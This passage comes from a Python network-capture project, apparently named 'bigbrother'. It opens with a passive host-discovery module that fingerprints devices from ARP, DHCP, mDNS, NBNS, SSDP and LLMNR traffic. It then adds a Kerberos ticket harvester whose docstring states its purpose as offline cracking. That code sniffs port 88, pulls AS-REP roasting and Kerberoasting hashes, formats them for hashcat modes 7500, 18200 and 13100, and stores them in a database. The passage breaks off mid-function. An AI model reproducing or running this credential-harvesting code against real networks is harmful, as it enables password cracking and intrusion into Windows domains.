lines = [l.strip() for l in f if l.strip() and not l.startswith("#")]
bpf_filter = " ".join(lines)
if not bpf_filter:
bpf_filter = "arp or port 67 or port 68 or port 5353 or port 1900 or port 5355 or port 137 or port 138"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf_filter, queue_depth=10000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-hostdisc-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-hostdisc-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("HostDiscovery started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_hosts()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("HostDiscovery stopped — %d hosts discovered", self._total_hosts)
def status(self) -> dict:
with self._hosts_lock:
host_count = len(self._hosts)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_hosts": host_count,
"oui_entries": len(self._oui_cache),
"dhcp_fingerprints": len(self._dhcp_fp_cache),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS hosts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip TEXT NOT NULL,
mac TEXT,
hostname TEXT,
vendor TEXT,
os_guess TEXT,
dhcp_fingerprint TEXT,
first_seen REAL NOT NULL,
last_seen REAL NOT NULL,
source TEXT
);
CREATE UNIQUE INDEX IF NOT EXISTS idx_host_ip ON hosts(ip);
CREATE INDEX IF NOT EXISTS idx_host_mac ON hosts(mac);
CREATE INDEX IF NOT EXISTS idx_host_hostname ON hosts(hostname);
""")
self._db_conn.commit()
def _load_oui_db(self, path: str) -> None:
"""Load OUI vendor database. Expected format: 'AA:BB:CC<tab>Vendor Name' per line."""
try:
conn = sqlite3.connect(path)
rows = conn.execute("SELECT oui, vendor FROM oui").fetchall()
for oui, vendor in rows:
self._oui_cache[oui.upper().replace(":", "").replace("-", "")] = vendor
conn.close()
logger.info("Loaded %d OUI entries", len(self._oui_cache))
except Exception:
# Try plain text format
try:
with open(path) as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split("\t", 1)
if len(parts) == 2:
oui = parts[0].upper().replace(":", "").replace("-", "")
self._oui_cache[oui] = parts[1]
logger.info("Loaded %d OUI entries from text", len(self._oui_cache))
except Exception:
logger.warning("Failed to load OUI database from %s", path)
def _load_dhcp_fingerprints(self, path: str) -> None:
"""Load DHCP option 55 fingerprint database."""
try:
conn = sqlite3.connect(path)
rows = conn.execute("SELECT fingerprint, os_name FROM fingerprints").fetchall()
for fp, os_name in rows:
self._dhcp_fp_cache[fp] = os_name
conn.close()
logger.info("Loaded %d DHCP fingerprints", len(self._dhcp_fp_cache))
except Exception:
try:
with open(path) as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split("\t", 1)
if len(parts) == 2:
self._dhcp_fp_cache[parts[0]] = parts[1]
logger.info("Loaded %d DHCP fingerprints from text", len(self._dhcp_fp_cache))
except Exception:
logger.warning("Failed to load DHCP fingerprints from %s", path)
# ------------------------------------------------------------------
# OUI lookup
# ------------------------------------------------------------------
def _lookup_oui(self, mac: str) -> str:
"""Look up vendor from MAC address OUI (first 3 octets)."""
oui = mac.upper().replace(":", "").replace("-", "")[:6]
return self._oui_cache.get(oui, "")
# ------------------------------------------------------------------
# Host update
# ------------------------------------------------------------------
def _update_host(self, ts: float, ip: str, mac: str = "", hostname: str = "",
vendor: str = "", os_guess: str = "",
dhcp_fingerprint: str = "", source: str = "") -> None:
"""Update or create host entry. Merges new data with existing."""
if not ip or ip == "0.0.0.0" or ip.startswith("255."):
return
is_new = False
with self._hosts_lock:
if ip not in self._hosts:
self._hosts[ip] = {
"ip": ip, "mac": "", "hostname": "", "vendor": "",
"os_guess": "", "dhcp_fingerprint": "",
"first_seen": ts, "last_seen": ts, "source": source,
}
is_new = True
host = self._hosts[ip]
host["last_seen"] = ts
if mac and not host["mac"]:
host["mac"] = mac
if not vendor:
vendor = self._lookup_oui(mac)
if hostname and not host["hostname"]:
host["hostname"] = hostname
if vendor and not host["vendor"]:
host["vendor"] = vendor
if os_guess and not host["os_guess"]:
host["os_guess"] = os_guess
if dhcp_fingerprint and not host["dhcp_fingerprint"]:
host["dhcp_fingerprint"] = dhcp_fingerprint
if source:
existing = host.get("source", "")
if source not in existing:
host["source"] = f"{existing},{source}" if existing else source
if is_new:
self._total_hosts += 1
self.bus.emit("HOST_DISCOVERED", {
"ip": ip, "mac": mac, "hostname": hostname,
"vendor": vendor, "source": source,
}, source_module=self.name)
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Route packet to appropriate protocol parser."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
src_mac = ":".join(f"{b:02x}" for b in raw[6:12])
if eth_type == 0x0806: # ARP
self._parse_arp(ts, raw, src_mac)
return
ip_offset = 14
if eth_type == 0x8100: # VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if ip_proto == 17: # UDP
udp_offset = ip_offset + ihl
if len(raw) < udp_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
payload = raw[udp_offset + 8:]
if dst_port == 67 or dst_port == 68:
self._parse_dhcp(ts, payload, src_mac)
elif dst_port == 5353 or src_port == 5353:
self._parse_mdns(ts, src_ip, src_mac, payload)
elif dst_port == 137 or src_port == 137:
self._parse_nbns(ts, src_ip, src_mac, payload)
elif dst_port == 1900:
self._parse_ssdp(ts, src_ip, src_mac, payload)
elif dst_port == 5355 or src_port == 5355:
self._parse_llmnr(ts, src_ip, src_mac, payload)
# Register any UDP source
self._update_host(ts, src_ip, mac=src_mac, source="traffic")
# ------------------------------------------------------------------
# Protocol parsers
# ------------------------------------------------------------------
def _parse_arp(self, ts: float, raw: bytes, eth_src_mac: str) -> None:
"""Parse ARP request/reply for IP-MAC mapping."""
if len(raw) < 42: # 14 eth + 28 ARP
return
arp_data = raw[14:]
# ARP: htype(2) ptype(2) hlen(1) plen(1) oper(2) sha(6) spa(4) tha(6) tpa(4)
htype, ptype, hlen, plen, oper = struct.unpack("!HHBBH", arp_data[:8])
if htype != 1 or ptype != 0x0800:
return
sender_mac = ":".join(f"{b:02x}" for b in arp_data[8:14])
sender_ip = socket.inet_ntoa(arp_data[14:18])
target_ip = socket.inet_ntoa(arp_data[24:28])
if sender_ip != "0.0.0.0":
self._update_host(ts, sender_ip, mac=sender_mac, source="arp")
def _parse_dhcp(self, ts: float, payload: bytes, src_mac: str) -> None:
"""Parse DHCP request/ACK for hostname, vendor class, option 55."""
if len(payload) < 240:
return
# DHCP: op(1) htype(1) hlen(1) hops(1) xid(4) secs(2) flags(2)
# ciaddr(4) yiaddr(4) siaddr(4) giaddr(4) chaddr(16) ...
op = payload[0]
yiaddr = socket.inet_ntoa(payload[16:20])
chaddr = ":".join(f"{b:02x}" for b in payload[28:34])
# Parse DHCP options (start at offset 240, after magic cookie)
if payload[236:240] != b"\x63\x82\x53\x63":
return
hostname = ""
vendor_class = ""
option_55 = ""
assigned_ip = yiaddr if yiaddr != "0.0.0.0" else ""
msg_type = 0
offset = 240
while offset < len(payload):
opt = payload[offset]
if opt == 255: # End
break
if opt == 0: # Pad
offset += 1
continue
if offset + 1 >= len(payload):
break
opt_len = payload[offset + 1]
offset += 2
if offset + opt_len > len(payload):
break
opt_data = payload[offset:offset + opt_len]
if opt == 53 and opt_len == 1: # Message Type
msg_type = opt_data[0]
elif opt == 12: # Hostname
hostname = opt_data.decode("ascii", errors="replace").rstrip("\x00")
elif opt == 60: # Vendor Class
vendor_class = opt_data.decode("ascii", errors="replace").rstrip("\x00")
elif opt == 55: # Parameter Request List
option_55 = ",".join(str(b) for b in opt_data)
elif opt == 50 and opt_len == 4: # Requested IP
if not assigned_ip:
assigned_ip = socket.inet_ntoa(opt_data)
offset += opt_len
# DHCP fingerprint lookup
os_guess = ""
if option_55:
os_guess = self._dhcp_fp_cache.get(option_55, "")
if assigned_ip:
self._update_host(
ts, assigned_ip, mac=chaddr, hostname=hostname,
vendor=vendor_class, os_guess=os_guess,
dhcp_fingerprint=option_55, source="dhcp",
)
elif chaddr:
# No IP yet, but we can log the MAC
pass
def _parse_mdns(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse mDNS for hostname discovery."""
if len(payload) < 12:
return
# mDNS uses standard DNS format on port 5353
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
is_response = bool(flags & 0x8000)
offset = 12
# Parse questions
for _ in range(qdcount):
name, offset = self._read_dns_name(payload, offset)
if offset + 4 > len(payload):
return
offset += 4 # qtype + qclass
# Parse answers (for responses)
if is_response:
for _ in range(ancount):
if offset >= len(payload):
break
name, offset = self._read_dns_name(payload, offset)
if offset + 10 > len(payload):
break
rtype, _, ttl, rdlength = struct.unpack("!HHIH", payload[offset:offset + 10])
offset += 10
if offset + rdlength > len(payload):
break
# Extract hostname from .local names
if name and name.endswith(".local"):
hostname = name.rsplit(".local", 1)[0]
if hostname:
self._update_host(ts, src_ip, mac=src_mac,
hostname=hostname, source="mdns")
offset += rdlength
else:
# For queries, the querier's presence is noted
self._update_host(ts, src_ip, mac=src_mac, source="mdns")
def _parse_nbns(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse NetBIOS Name Service queries/responses."""
if len(payload) < 12:
return
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
is_response = bool(flags & 0x8000)
offset = 12
# Parse question names
for _ in range(qdcount):
if offset >= len(payload):
break
nbname, offset = self._read_nbns_name(payload, offset)
if offset + 4 > len(payload):
break
offset += 4 # qtype + qclass
if nbname:
self._update_host(ts, src_ip, mac=src_mac,
hostname=nbname, source="nbns")
# Parse answer names
if is_response:
for _ in range(ancount):
if offset >= len(payload):
break
nbname, offset = self._read_nbns_name(payload, offset)
if offset + 10 > len(payload):
break
_, _, _, rdlength = struct.unpack("!HHIH", payload[offset:offset + 10])
offset += 10
if nbname:
self._update_host(ts, src_ip, mac=src_mac,
hostname=nbname, source="nbns")
if offset + rdlength > len(payload):
break
offset += rdlength
@staticmethod
def _read_nbns_name(data: bytes, offset: int) -> tuple:
"""Decode a NetBIOS encoded name. Returns (name, new_offset)."""
if offset >= len(data):
return "", offset
length = data[offset]
offset += 1
if length != 32:
# Skip non-standard length
return "", offset + length + 1 # +1 for trailing null length byte
if offset + 32 > len(data):
return "", offset
encoded = data[offset:offset + 32]
offset += 32
# Skip trailing length byte
if offset < len(data):
offset += 1
# Decode: each pair of bytes encodes one character
name_chars = []
for i in range(0, 32, 2):
ch = ((encoded[i] - ord('A')) << 4) | (encoded[i + 1] - ord('A'))
if 32 <= ch < 127:
name_chars.append(chr(ch))
name = "".join(name_chars).rstrip()
return name, offset
def _parse_ssdp(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse SSDP/UPnP announcements for device info."""
try:
text = payload.decode("utf-8", errors="ignore")
except Exception:
return
# SSDP uses HTTP-like headers
server = ""
usn = ""
for line in text.split("\r\n"):
lower = line.lower()
if lower.startswith("server:"):
server = line.split(":", 1)[1].strip()
elif lower.startswith("usn:"):
usn = line.split(":", 1)[1].strip()
vendor = server if server else ""
hostname = ""
if usn:
# USN often contains device UUID
pass
self._update_host(ts, src_ip, mac=src_mac, vendor=vendor, source="ssdp")
def _parse_llmnr(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse LLMNR queries for hostname discovery."""
if len(payload) < 12:
return
# LLMNR uses DNS message format
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
is_response = bool(flags & 0x8000)
offset = 12
for _ in range(qdcount):
name, offset = self._read_dns_name(payload, offset)
if offset + 4 > len(payload):
break
offset += 4
if name:
if is_response:
self._update_host(ts, src_ip, mac=src_mac,
hostname=name, source="llmnr")
else:
# Querier looking for this name
self._update_host(ts, src_ip, mac=src_mac, source="llmnr")
@staticmethod
def _read_dns_name(data: bytes, offset: int) -> tuple:
"""Read a DNS-format name. Returns (name, new_offset)."""
parts = []
jumped = False
saved_offset = offset
jumps = 0
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
if (length & 0xC0) == 0xC0:
if offset + 1 >= len(data):
break
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
if not jumped:
saved_offset = offset + 2
jumped = True
offset = ptr
jumps += 1
if jumps > 10:
break
continue
offset += 1
if offset + length > len(data):
break
parts.append(data[offset:offset + length].decode("utf-8", errors="replace"))
offset += length
name = ".".join(parts) if parts else ""
return (name, saved_offset if jumped else offset)
# ------------------------------------------------------------------
# Flush hosts to SQLite
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_hosts()
except Exception:
logger.exception("Host flush error")
def _flush_hosts(self) -> None:
"""Write all in-memory hosts to SQLite."""
with self._hosts_lock:
hosts_snapshot = list(self._hosts.values())
if not hosts_snapshot or not self._db_conn:
return
try:
for h in hosts_snapshot:
self._db_conn.execute(
"""INSERT INTO hosts (ip, mac, hostname, vendor, os_guess,
dhcp_fingerprint, first_seen, last_seen, source)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(ip) DO UPDATE SET
mac = COALESCE(NULLIF(excluded.mac, ''), hosts.mac),
hostname = COALESCE(NULLIF(excluded.hostname, ''), hosts.hostname),
vendor = COALESCE(NULLIF(excluded.vendor, ''), hosts.vendor),
os_guess = COALESCE(NULLIF(excluded.os_guess, ''), hosts.os_guess),
dhcp_fingerprint = COALESCE(NULLIF(excluded.dhcp_fingerprint, ''), hosts.dhcp_fingerprint),
last_seen = excluded.last_seen,
source = excluded.source
""",
(h["ip"], h["mac"], h["hostname"], h["vendor"],
h["os_guess"], h["dhcp_fingerprint"],
h["first_seen"], h["last_seen"], h["source"]),
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d hosts", len(hosts_snapshot))
+750
View File
@@ -0,0 +1,750 @@
#!/usr/bin/env python3
"""Passive Kerberos ticket harvester for offline cracking.
Parses Kerberos traffic on port 88:
- AS-REQ: extract username, realm, encrypted timestamp (hashcat mode 7500)
- AS-REP: extract hash for AS-REP roasting (hashcat mode 18200)
- TGS-REP: extract hash for Kerberoasting (hashcat mode 13100)
Also identifies domain controllers, realms, and SPNs.
Publishes TICKET_HARVESTED events immediately on capture.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.passive.kerberos_harvester")
# Kerberos message types (application tags)
KRB_AS_REQ = 10
KRB_AS_REP = 11
KRB_TGS_REQ = 12
KRB_TGS_REP = 13
KRB_ERROR = 30
# Encryption types
ETYPE_AES256_CTS = 18
ETYPE_AES128_CTS = 17
ETYPE_RC4_HMAC = 23
ETYPE_DES_CBC_MD5 = 3
# Hashcat modes
HASHCAT_AS_REQ_ETYPE23 = 7500
HASHCAT_AS_REP_ROAST = 18200
HASHCAT_KERBEROAST_RC4 = 13100
HASHCAT_KERBEROAST_AES256 = 19700
HASHCAT_KERBEROAST_AES128 = 19600
class KerberosHarvester(BaseModule):
"""Harvest Kerberos tickets from wire for offline cracking."""
name = "kerberos_harvester"
module_type = "passive"
priority = 80
requires_root = True
BATCH_SIZE = 50
FLUSH_INTERVAL = 30
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_tickets = 0
self._realms = set()
self._dcs = set()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("KerberosHarvester requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
self._db_path = os.path.join(base_dir, "kerberos_tickets.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 88", queue_depth=5000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-kerb-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-kerb-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("KerberosHarvester started — monitoring port 88")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info(
"KerberosHarvester stopped — %d tickets, %d realms, %d DCs",
self._total_tickets, len(self._realms), len(self._dcs),
)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_tickets": self._total_tickets,
"realms": list(self._realms),
"domain_controllers": list(self._dcs),
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS kerberos_tickets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dc_ip TEXT NOT NULL,
realm TEXT,
username TEXT,
spn TEXT,
ticket_type TEXT NOT NULL,
hashcat_mode INTEGER,
hash_value TEXT
);
CREATE INDEX IF NOT EXISTS idx_kerb_user ON kerberos_tickets(username);
CREATE INDEX IF NOT EXISTS idx_kerb_realm ON kerberos_tickets(realm);
CREATE INDEX IF NOT EXISTS idx_kerb_type ON kerberos_tickets(ticket_type);
CREATE INDEX IF NOT EXISTS idx_kerb_ts ON kerberos_tickets(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Parse Ethernet->IP->TCP/UDP->Kerberos."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100:
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if ip_proto == 6: # TCP
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
if src_port != 88 and dst_port != 88:
return
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
payload = raw[tcp_offset + tcp_hdr_len:]
# TCP Kerberos has 4-byte length prefix
if len(payload) > 4:
payload = payload[4:]
elif ip_proto == 17: # UDP
udp_offset = ip_offset + ihl
if len(raw) < udp_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
if src_port != 88 and dst_port != 88:
return
payload = raw[udp_offset + 8:]
else:
return
if len(payload) < 10:
return
# Determine direction: requests go TO port 88, responses come FROM port 88
if dst_port == 88:
client_ip = src_ip
dc_ip = dst_ip
else:
client_ip = dst_ip
dc_ip = src_ip
self._dcs.add(dc_ip)
self._parse_kerberos(ts, client_ip, dc_ip, payload)
def _parse_kerberos(self, ts: float, client_ip: str, dc_ip: str,
data: bytes) -> None:
"""Parse ASN.1/DER-encoded Kerberos message."""
if len(data) < 2:
return
# Kerberos messages use ASN.1 application tags
# AS-REQ: [APPLICATION 10], AS-REP: [APPLICATION 11]
# TGS-REQ: [APPLICATION 12], TGS-REP: [APPLICATION 13]
tag = data[0]
if tag & 0xE0 != 0x60: # Application constructed
return
msg_type = tag & 0x1F
# Read outer length
_, offset = self._asn1_length(data, 1)
if offset < 0 or offset >= len(data):
return
if msg_type == KRB_AS_REQ:
self._parse_as_req(ts, client_ip, dc_ip, data, offset)
elif msg_type == KRB_AS_REP:
self._parse_as_rep(ts, client_ip, dc_ip, data, offset)
elif msg_type == KRB_TGS_REP:
self._parse_tgs_rep(ts, client_ip, dc_ip, data, offset)
def _parse_as_req(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse AS-REQ for username, realm, and encrypted timestamp (mode 7500)."""
realm = ""
username = ""
enc_timestamp = ""
etype = 0
# Walk the ASN.1 SEQUENCE looking for known context tags
# AS-REQ contains: pvno[1], msg-type[2], padata[3], req-body[4]
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0: # Not context-specific constructed
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # padata
# Look for PA-ENC-TIMESTAMP (type 2)
enc_ts, found_etype = self._extract_padata_enc_timestamp(ctx_data)
if enc_ts:
enc_timestamp = enc_ts
etype = found_etype
elif ctx_num == 4: # req-body (KDC-REQ-BODY)
r, u = self._extract_req_body_info(ctx_data)
if r:
realm = r
if u:
username = u
pos = next_pos + length
if realm:
self._realms.add(realm)
# If we got an encrypted timestamp, emit for hashcat 7500
if enc_timestamp and username:
hashcat_mode = HASHCAT_AS_REQ_ETYPE23 if etype == ETYPE_RC4_HMAC else 7500
hash_value = f"$krb5pa${etype}${username}${realm}${enc_timestamp}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, "",
"AS-REQ", hashcat_mode, hash_value,
)
def _parse_as_rep(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse AS-REP for AS-REP roasting hash (mode 18200)."""
realm = ""
username = ""
enc_part = ""
etype = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # crealm
realm = self._read_string(ctx_data)
elif ctx_num == 4: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 6: # enc-part (EncryptedData)
etype, enc_part = self._extract_encrypted_data(ctx_data)
pos = next_pos + length
if realm:
self._realms.add(realm)
if enc_part and username:
if etype == ETYPE_RC4_HMAC:
hashcat_mode = HASHCAT_AS_REP_ROAST
else:
hashcat_mode = HASHCAT_AS_REP_ROAST
hash_value = f"$krb5asrep${etype}${username}@{realm}:{enc_part}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, "",
"AS-REP", hashcat_mode, hash_value,
)
def _parse_tgs_rep(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse TGS-REP for Kerberoasting hash (mode 13100)."""
realm = ""
username = ""
spn = ""
enc_part = ""
etype = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # crealm
realm = self._read_string(ctx_data)
elif ctx_num == 4: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 5: # ticket — contains the SPN and enc-part
t_spn, t_etype, t_enc = self._extract_ticket_info(ctx_data)
if t_spn:
spn = t_spn
if t_enc:
enc_part = t_enc
etype = t_etype
pos = next_pos + length
if realm:
self._realms.add(realm)
if enc_part and (username or spn):
if etype == ETYPE_RC4_HMAC:
hashcat_mode = HASHCAT_KERBEROAST_RC4
elif etype == ETYPE_AES256_CTS:
hashcat_mode = HASHCAT_KERBEROAST_AES256
elif etype == ETYPE_AES128_CTS:
hashcat_mode = HASHCAT_KERBEROAST_AES128
else:
hashcat_mode = HASHCAT_KERBEROAST_RC4
hash_value = f"$krb5tgs${etype}$*{username}${realm}${spn}*${enc_part[:32]}${enc_part[32:]}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, spn,
"TGS-REP", hashcat_mode, hash_value,
)
# ------------------------------------------------------------------
# ASN.1 helpers
# ------------------------------------------------------------------
@staticmethod
def _asn1_length(data: bytes, offset: int) -> tuple:
"""Read ASN.1 DER length. Returns (length, new_offset) or (-1, offset)."""
if offset >= len(data):
return -1, offset
first = data[offset]
if first & 0x80 == 0:
return first, offset + 1
num_bytes = first & 0x7F
if num_bytes == 0 or offset + 1 + num_bytes > len(data):
return -1, offset
length = int.from_bytes(data[offset + 1:offset + 1 + num_bytes], "big")
return length, offset + 1 + num_bytes
def _enter_sequence(self, data: bytes, offset: int) -> int:
"""Skip into a SEQUENCE tag and return offset to first element, or -1."""
if offset >= len(data) or data[offset] != 0x30:
return -1
_, new_offset = self._asn1_length(data, offset + 1)
return new_offset
def _read_string(self, data: bytes) -> str:
"""Read a GeneralString/UTF8String from ASN.1 data."""
if len(data) < 2:
return ""
# Skip tag byte
tag = data[0]
length, offset = self._asn1_length(data, 1)
if length < 0 or offset + length > len(data):
return ""
return data[offset:offset + length].decode("utf-8", errors="replace")
def _extract_principal_name(self, data: bytes) -> str:
"""Extract principal name from a PrincipalName SEQUENCE."""
# PrincipalName ::= SEQUENCE { name-type[0], name-string[1] }
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
if ctx_num == 1: # name-string SEQUENCE OF GeneralString
name_data = data[next_pos:next_pos + length]
names = self._extract_string_sequence(name_data)
return "/".join(names) if names else ""
pos = next_pos + length
return ""
def _extract_string_sequence(self, data: bytes) -> list:
"""Extract strings from a SEQUENCE OF GeneralString."""
result = []
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return result
pos = seq_offset
while pos < len(data):
if pos >= len(data):
break
tag = data[pos]
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0 or next_pos + length > len(data):
break
try:
s = data[next_pos:next_pos + length].decode("utf-8", errors="replace")
result.append(s)
except Exception:
pass
pos = next_pos + length
return result
def _extract_encrypted_data(self, data: bytes) -> tuple:
"""Extract etype and cipher from EncryptedData. Returns (etype, hex_cipher)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return 0, ""
etype = 0
cipher_hex = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 0: # etype INTEGER
etype = self._read_integer(ctx_data)
elif ctx_num == 2: # cipher OCTET STRING
if len(ctx_data) >= 2:
c_len, c_off = self._asn1_length(ctx_data, 1)
if c_len > 0 and c_off + c_len <= len(ctx_data):
cipher_hex = ctx_data[c_off:c_off + c_len].hex()
pos = next_pos + length
return etype, cipher_hex
def _extract_ticket_info(self, data: bytes) -> tuple:
"""Extract SPN, etype, and enc-part from a Ticket. Returns (spn, etype, cipher_hex)."""
# Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno[0], realm[1], sname[2], enc-part[3] }
if len(data) < 2:
return "", 0, ""
# Skip application tag
if data[0] & 0xE0 == 0x60:
_, offset = self._asn1_length(data, 1)
else:
offset = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return "", 0, ""
